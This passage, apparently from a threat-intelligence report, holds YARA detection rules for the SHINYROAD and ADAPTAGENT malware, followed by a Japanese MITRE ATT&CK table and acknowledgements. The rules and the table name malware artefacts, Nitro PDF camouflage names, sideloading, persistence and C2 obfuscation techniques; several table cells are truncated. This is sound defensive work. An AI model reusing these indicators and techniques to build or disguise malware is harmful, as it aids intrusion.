$obf_key = "_sob_key" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
any of ($miniz*) and
any of ($whttp*)) or
(2 of ($sob*) and ($task1 or $flag)) or
($obf_key and $task1 and $task2 and any of ($sob*))
)
}
rule G_APT_Backdoor_SHINYROAD_1
{
meta:
author = "Mandiant"
desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
strings:
// Shared SHINYROAD artifacts (shared memory section and mutex)
$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
// BlkScrDl.dll loader: config.zip staging and COM server registration
$ld1 = "%sconfig.zip" ascii
$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
$ld3 = "libBlkScrDl.dll" ascii
$com1 = "Software\\Classes\\CLSID\\%s" ascii
$com2 = "Software\\Classes\\AppID\\%s" ascii
$com3 = "%s\\InprocServer32" ascii
// RuntimeComponent.dll embedded PocketPy engine
$rc1 = "libRuntimeComponent.dll" ascii
$rc2 = "metadata.dat" ascii
$rc3 = "_pyio_compat" ascii
$rc4 = "_pyio_struct" ascii
$rc5 = "%sdemo_srv.log" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
($shm and $mtx) or
(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
(2 of ($ld*) and 2 of ($com*)) or
($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
)
}
rule G_APT_Backdoor_SHINYROAD_2
{
meta:
author = "Mandiant"
desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"
strings:
$pkpy_magic = { 4F 43 01 00 }
$proto1 = "mct3-handshake-v1" ascii
$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
$jam1 = "JAM_BURST_PACKETS_MIN" ascii
$jam2 = "JAM_MIN_MS" ascii
$jam3 = "JAM_MAX_BYTES" ascii
$mod1 = "_pyio_struct" ascii
$mod2 = "_pyio_compat" ascii
$enc1 = "nh_enc" ascii
$enc2 = "encbody" ascii
condition:
$pkpy_magic at 0 and filesize < 500KB and (
$proto1 or
$script or
all of ($jam*) or
(all of ($mod*) and any of ($enc*))
)
}
rule G_APT_Launcher_ADAPTAGENT_1
{
meta:
author = "Mandiant"
desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
platforms = "Win"
rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"
strings:
// Sideloaded Masquerading & Camouflage
$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
$camo_dll1 = "Eztwain4.dll" ascii wide nocase
$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
$camo_ver = "14.10.1.0" ascii wide
$camo_copy = "Nitro Software, Inc." ascii wide
// NitroPromotion Loader & Staging Functionality
$load1 = "DownloadToLocalAppData" ascii
$load2 = "ExtractZipToDirectoryA" ascii
$load3 = "GetTempZipFileNameA" ascii
$load4 = "CreateScheduledTask" ascii
// Adaptix C2 & ADAPTAGENT Core Artifacts
$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
$adapt3 = "\\\\.\\pipe\\%08lx" ascii
$adapt4 = "13ConnectorHTTP" ascii
$adapt5 = "9Connector" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or
// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
)
}
MITRE ATT&CK手法
|
戦術 |
手法ID |
手法名 |
観測されたコンテキスト |
|---|---|---|---|
|
リソース開発 |
インフラストラクチャの取得: ドメイン |
|
|
|
リソース開発 |
インフラストラクチャの取得: Webサービス |
評価の高いステージングインフラとしてのAlibaba Cloud OSS( |
|
|
リソース開発 |
機能のステージング: マルウェアのアップロード |
各改ざんウィンドウの前に、攻撃者管理下のドメインとクラウドストレージ上へ |
|
|
初期アクセス |
サプライチェーンの侵害: ソフトウェアサプライチェーンの侵害 |
リモートのAOMEI |
|
|
実行 |
コマンド・スクリプティングインタープリター: PowerShell |
Nitro PDF/Adaptix C2ペイロードを実行する、非表示のPowerShell実行( |
|
|
実行 |
コマンド・スクリプティングインタープリター: Python |
組み込みのPocketPyインタープリター( |
|
|
実行 |
プロセス間通信: コンポーネントオブジェクトモデル |
|
|
|
永続化 |
スケジュールタスク/ジョブ: スケジュールタスク |
スケジュールタスク |
|
|
防御回避 |
実行フローのハイジャック: DLL |
署名付きの |
|
|
防御回避 |
実行ガードレール |
二次ペイロードを取得する前の、 |
|
|
防御回避 |
マスカレード: 正規のリソース名または場所との一致 |
|
|
|
防御回避 |
ファイルや情報の難読化: 暗号化/エンコードされたファイル |
SHINYROADのステージ2のPythonバイトコードは、 |
|
|
防御回避 |
ファイルや情報の難読化解除/デコード |
|
|
|
防御回避 |
痕跡の削除: ファイルの削除 |
|
|
|
防御回避 |
アーティファクトの隠蔽: NTFSファイル属性 |
CROSSROADは、ハンドルを閉じた時点で削除されるようファイルにフラグを立てる前に、主要な |
|
|
認証情報アクセス |
強制認証 |
|
|
|
探索 |
システムネットワーク構成の探索 |
CROSSROADは、 |
|
|
探索 |
システムの位置情報の探索 |
IPから導出した国コードが |
|
|
探索 |
システム情報の探索 |
SHINYROADは被害者のホスト名のフィンガープリントを取り、固有のエージェント識別子を導出する。 |
|
|
探索 |
システム所有者/ユーザーの探索 |
SHINYROADは、ログオン中のユーザー名を固有のエージェント識別子とC2の鍵導出に組み込む。 |
|
|
コマンド&コントロール |
外部からのツール転送 |
CROSSROADは |
|
|
コマンド&コントロール |
非標準ポート |
SHINYROADはTCP |
|
|
コマンド&コントロール |
暗号化チャネル: 共通鍵暗号 |
ハードコードされたハンドシェイクキーで暗号化された独自バイナリC2ストリームが、エージェントIDから導出したホスト固有の鍵へ切り替わる。 |
|
|
コマンド&コントロール |
データの難読化: ジャンクデータ |
SHINYROADは、ネットワークシグネチャのマッチングを妨害するため、ランダムなジャンクパケットを生成する(トラフィックのチャフィング)。 |
|
|
コマンド&コントロール |
リモートアクセスツール: リモートデスクトップソフトウェア |
SHINYROADバックドアとともに、正規のFamatech Radmin 3.xサーバーコンポーネントを被害ホストに展開。 |
表6: MITRE ATT&CK手法
謝辞
GTIGとMandiantは、ManageEngine Threat Analysis Lab(METAL)の研究チームに感謝します。この活動を最初に発見し、テレメトリを積極的に共有し、継続的に協力していただきました。この協力は、両社共通の顧客基盤とソフトウェアエコシステム全体の保護に役立っています。